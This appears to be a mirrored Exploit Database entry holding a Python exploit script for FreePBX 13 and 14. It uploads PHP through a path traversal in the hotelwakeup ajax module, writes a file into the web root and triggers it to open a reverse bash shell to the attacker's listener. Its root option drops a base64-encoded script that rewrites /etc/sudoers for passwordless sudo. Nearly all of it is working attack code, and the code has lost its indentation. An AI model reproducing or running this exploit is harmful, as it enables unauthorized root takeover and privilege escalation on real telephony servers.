FreePBX 13 – Remote Command Execution / Privilege Escalation

Exploit Database
119 阅读

作者： Christopher Davis

日期： 2016-10-21
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/40614/

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#!/usr/bin/env python

'''

Title|FreePBX 13 Remote Command Execution and Privilege Escalation

Date |10/21/2016

Author |Christopher Davis

Vendor |https://www.freepbx.org/

Version|FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26)

Tested on|http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso

http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso

Purpose|This script exploits the freepbx website, elevates privileges and returns a reverse bind tcp as root

Usage|python pbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444 -s r

Orig Author|pgt - nullsecurity.net

'''

import re

import subprocess

import argparse

import random

import time

import socket

import threading

#This portion will check for requests and prompt user to install it if not already

try:

import requests

except:

try:

while True:

choice = raw_input('Requests library not found but is needed. Install? \'Y\'es or \'N\'o?\n:')

if choice.lower() == 'y':

subprocess.call('pip install requests',shell=True)

import requests

break

elif choice.lower() == 'n':

exit()

else:

continue

except Exception as e:

print(e)

exit()

#Since subprocess.call will bind, we start this thread sepparate to execute after our netcat bind

def delayGet():

global args

try:

time.sleep(5)

requests.get(args.url+ '0x4148.php.call', verify=False)

except:

pass

if __name__ == '__main__':

try:

parser = argparse.ArgumentParser()

parser.add_argument('-u', type=str, help='hostname and path. Ex- http://192.168.1.1/path/', dest='url')

parser.add_argument('-l', type=str, help='localhost ip to listen on', dest='lhost')

parser.add_argument('-p', type=str, help='port to listen on', dest='lport')

parser.add_argument('-s', type=str, help="'L'ocal or 'R'oot shell attempt", dest='shell')

parser.add_help

args = parser.parse_args()

#Make sure args were passed

if args.url == None or args.lhost == None or args.lport == None or not bool(re.search(r'^(?:[L|l]|[r|R])$', args.shell)):

parser.print_help()

print("\nUsage:python freepbx.py -u http://10.2.2.109 -l 10.2.2.115 -p 4444")

exit()

#Make sure the http url is there

if bool(re.search('[hH][tT][tT][pP][sS]?\:\/\/', args.url)) == False:

print('There is something wrong with your url. It needs to have http:// or https://\n\n')

exit()

#make sure / is there, if not, put it there

if args.url[-1:] != '/':

args.url += '/'

#python -c 'import pty; pty.spawn("/bin/sh")'

#this is the php we will upload to get a reverse shell. System call to perform reverse bash shell. Nohup spawns a new process in case php dies

#if version 13, lets try to get root, otherwise

if args.shell.upper() == 'R':

cmdshell = '<?php fwrite(fopen("hackerWAShere.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHRpbWUNCiMgLSotIGNvZGluZzogdXRmLTggLSotIA0KY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXA0KCSdOT1BBU1NXRFw6QUxMIlw+XD5cL2V0Y1wvc3Vkb2Vycy9nXCcgL3Zhci9saWIvJyBcDQoJJ2FzdGVyaXNrL2Jpbi9mcmVlcGJ4X2VuZ2luZScNCnN1YnByb2Nlc3MuY2FsbChjbWQsIHNoZWxsPVRydWUpDQpzdWJwcm9jZXNzLmNhbGwoJ2VjaG8gYSA+IC92YXIvc3Bvb2wvYXN0ZXJpc2svc3lzYWRtaW4vYW1wb3J0YWxfcmVzdGFydCcsIHNoZWxsPVRydWUpDQp0aW1lLnNsZWVwKDIwKQ==")); system("python hackerWAShere.py; nohup sudo bash -i >& /dev/tcp/'+args.lhost+'/'+args.lport+' 0>&1 ");?>'

else:

cmdshell = "<?php system('nohup bash -i >& /dev/tcp/"+args.lhost+"/"+args.lport+" 0>&1 ');?>"

#creates a session

session = requests.Session()

print('\nStarting Session')

session.get(args.url, verify=False)

print('\nScraping the site for a cookie')

HEADERS = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0", "Accept": 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', "Accept-Language":"en-US,en;q=0.5","Referer": args.url + 'admin/ajax.php', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1'}

print('\nPosting evil php')

postData = {'module':'hotelwakeup','command':'savecall','day':'now','time':'+1 week','destination':"/../../../../../../var/www/html/0x4148.php","language":cmdshell}

result = session.post(args.url + 'admin/ajax.php', headers=HEADERS, data=postData, verify=False)

if 'Whoops' not in result.text:

print(result.text)

print('\nSomething Went wrong. Was expecting a Whoops but none found.')

exit()

#calls the get thread which will execute 5 seconds after the netcat bind

print('\nStarting new thread for getting evil php')

z = threading.Thread(target=delayGet)

z.daemon = True

z.start()

print('\nBinding to socket '+ args.lport + ' Please wait... May take 30 secs to get call back.\n')

#This binds our terminal with netcat and waits for the call back

try:

subprocess.call('nc -nvlp '+args.lport, shell=True)

except Exception as e:

print(e)

print('\nIf you saw the message "sudo: no tty present and no askpass program specified", please try again and it may work.')

except Exception as e:

print(e)

print('\nSee above error')